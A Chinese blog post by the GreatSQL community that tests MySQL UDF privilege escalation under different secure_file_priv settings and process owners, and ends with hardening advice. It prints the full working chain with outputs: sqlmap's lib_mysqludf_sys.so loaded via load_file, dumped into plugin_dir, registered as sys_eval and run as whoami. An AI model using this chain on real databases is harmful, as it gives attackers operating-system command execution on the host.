写点什么

MySQL UDF 提权初探

作者:GreatSQL
  • 2024-08-07
    福建
  • 本文字数:4469 字

    阅读完需:约 15 分钟

MySQL UDF 提权初探

对 MySQL UDF 提权做一次探究,什么情况下可以提权,提取的主机权限是否跟 mysqld 进程启动的主机账号有关

数据库信息

MySQL 数据库版本:5.7.21

UDF

UDF:(User Defined Function) 用户自定义函数,MySQL 数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用 udf 进行提权。


提权原理:攻击者通过编写调用 cmd 或者 shell 的共享库文件(window 为.dll,linux 为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在 cmd 或者 shell 中执行命令。


执行过程:本质上还是利用了 MySQL 能够执行系统命令的特点。具体过程如下


(1)攻击者编写一些可以调用 cmd 或者 shell 的共享库文件(window 为.dll,linux 为.so),将共享库导入指定的函数目录中。


(2)在 MySQL 中创建指向共享库文件的自定义函数。


(3)通过刚刚创建的函数执行系统命令,实现提权。

漏洞详情

当 mysql 配置 secure_file_priv 项为空或者 secure_file_priv 项为 plugin 文件夹,且可以用弱口令登录数据库,存在 udf 提权漏洞。


  1. 查看漏洞利用条件:secure_file_priv 为空或者为 plugin 文件夹,可以登录数据库,存在 plugin 文件夹

  2. 将 udf.so 文件导入相关 plugin 文件夹下

  3. 使用 udf 创建自定义函数 Create function sys_eval returns string soname ‘udf.so’;

  4. 使用自定义函数执行任意代码执行:

获取 so 文件

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devpython3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
复制代码

root 账号拉起 mysqld 进程

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';+------------------+----------------+| Variable_name    | Value          |+------------------+----------------+| secure_file_priv |                |+------------------+----------------+mysql> show variables like '%plugin%';+-------------------------------+------------------------------------+| Variable_name                 | Value                              |+-------------------------------+------------------------------------+| default_authentication_plugin | mysql_native_password              || plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |+-------------------------------+------------------------------------+#导入so文件成功mysql> create table foo(line blob);Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));Query OK, 1 row affected (0.01 sec)#导出so文件到plugin_dir下成功mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';Query OK, 1 row affected (0.01 sec)#创建自定义函数成功mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";Query OK, 0 rows affected (0.00 sec)#调用函数成功mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| root |+--------------------+1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';+------------------+----------------+| Variable_name | Value |+------------------+----------------+| secure_file_priv | /home/mysql/ |+------------------+----------------+mysql> show variables like '%plugin%';+-------------------------------+------------------------------------+| Variable_name | Value |+-------------------------------+------------------------------------+| default_authentication_plugin | mysql_native_password || plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |+-------------------------------+------------------------------------+#创建中间表mysql> create table foo(line blob);Query OK, 0 rows affected (0.03 sec)#导入so文件成功mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));Query OK, 1 row affected (0.01 sec)#导出so文件到plugin_dir下失败mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement#导出so文件到secure_file_privmysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';Query OK, 1 row affected (0.00 sec)#通过plugin的so创建自定义函数失败mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
复制代码

secure_file_priv=dirname(secure_file_priv 和 plugin_dir 路径一致)

#plugin_dir路径下有so文件了#直接创建自定义函数mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";Query OK, 0 rows affected (0.00 sec)#调用函数成功mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| root               |+--------------------+1 row in set (0.02 sec)
复制代码

secure_file_priv=null

mysql> show variables like '%secure_file_priv%';+------------------+-------+| Variable_name    | Value |+------------------+-------+| secure_file_priv | null  |+------------------+-------+1 row in set (0.01 sec)mysql> show variables like '%plugin%';+-------------------------------+------------------------------------+| Variable_name                 | Value                              |+-------------------------------+------------------------------------+| default_authentication_plugin | mysql_native_password              || plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |+-------------------------------+------------------------------------+#创建中间表mysql> create table foo(line blob);Query OK, 0 rows affected (0.03 sec)#导入so文件成功mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));Query OK, 1 row affected (0.01 sec)#导出so文件到plugin_dir下失败mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement#通过plugin的so创建自定义函数失败mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
复制代码

普通账号拉起 mysqld 进程

secure_file_priv=''

mysql> show variables like '%secure_file_priv%';+------------------+----------------+| Variable_name    | Value          |+------------------+----------------+| secure_file_priv |                |+------------------+----------------+mysql> show variables like '%plugin%';+-------------------------------+------------------------------------+| Variable_name                 | Value                              |+-------------------------------+------------------------------------+| default_authentication_plugin | mysql_native_password              || plugin_dir                    | /mysql/svr/mysql5721/lib/plugin/   |+-------------------------------+------------------------------------+#导入so文件成功mysql> create table foo(line blob);Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));Query OK, 1 row affected (0.01 sec)#导出so文件到plugin_dir下成功mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';Query OK, 1 row affected (0.01 sec)#创建自定义函数成功mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";Query OK, 0 rows affected (0.00 sec)#调用函数成功mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| mysql |+--------------------+1 row in set (0.06 sec)
复制代码


余下的几种 secure_file_priv=dirname(secure_file_priv 和 plugin_dir 路径不一致),secure_file_priv=dirname(secure_file_priv 和 plugin_dir 路径一致),secure_file_priv=null 得出的结果是类似的,这里就不详细继续阐述了,全部写完可能篇数稍长。

总结

  • secure_file_priv

  • ''(empty string),不限制导入和导出的目录。只需将 so 写到 plugin_dir,能创建 so 自定义函数。存在漏洞风险

  • dirname(指定目录),限制导入和导出为指定目录。如果指定的目录和 plugin_dir 相同,能正常创建 so 自定义函数,存在漏洞风险;否则不能创建 so 自定义函数

  • null,禁止导入和导出操作,不存在漏洞风险

  • 提权账号无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe),提权后的账号根据 mysqld 进程 uid 确定

  • 数据库账号的权限目标端需要能执行 select...into dumpfile、创建函数权限

建议

  1. 使用普通账号启动数据库(配置文件中--user=mysql)

  2. secure_file_priv 设置为 null,禁止导入和导出操作;如果需要导入和导出,将 secure_file_priv 设置为非 plugin_dir 目录

  3. 数据库密码尽量复杂

  4. 关注 plugin_dir 是否有新增的不明来源的.so 文件和关注数据库是否有新增不明来源的自定义函数


发布于: 刚刚阅读数: 5
用户头像

GreatSQL

关注

GreatSQL社区 2023-01-31 加入

GreatSQL是由万里数据库维护的MySQL分支,专注于提升MGR可靠性及性能,支持InnoDB并行查询特性,是适用于金融级应用的MySQL分支版本。 社区:https://greatsql.cn/ Gitee: https://gitee.com/GreatSQL/GreatSQL

评论

发布
暂无评论
MySQL UDF 提权初探_GreatSQL_InfoQ写作社区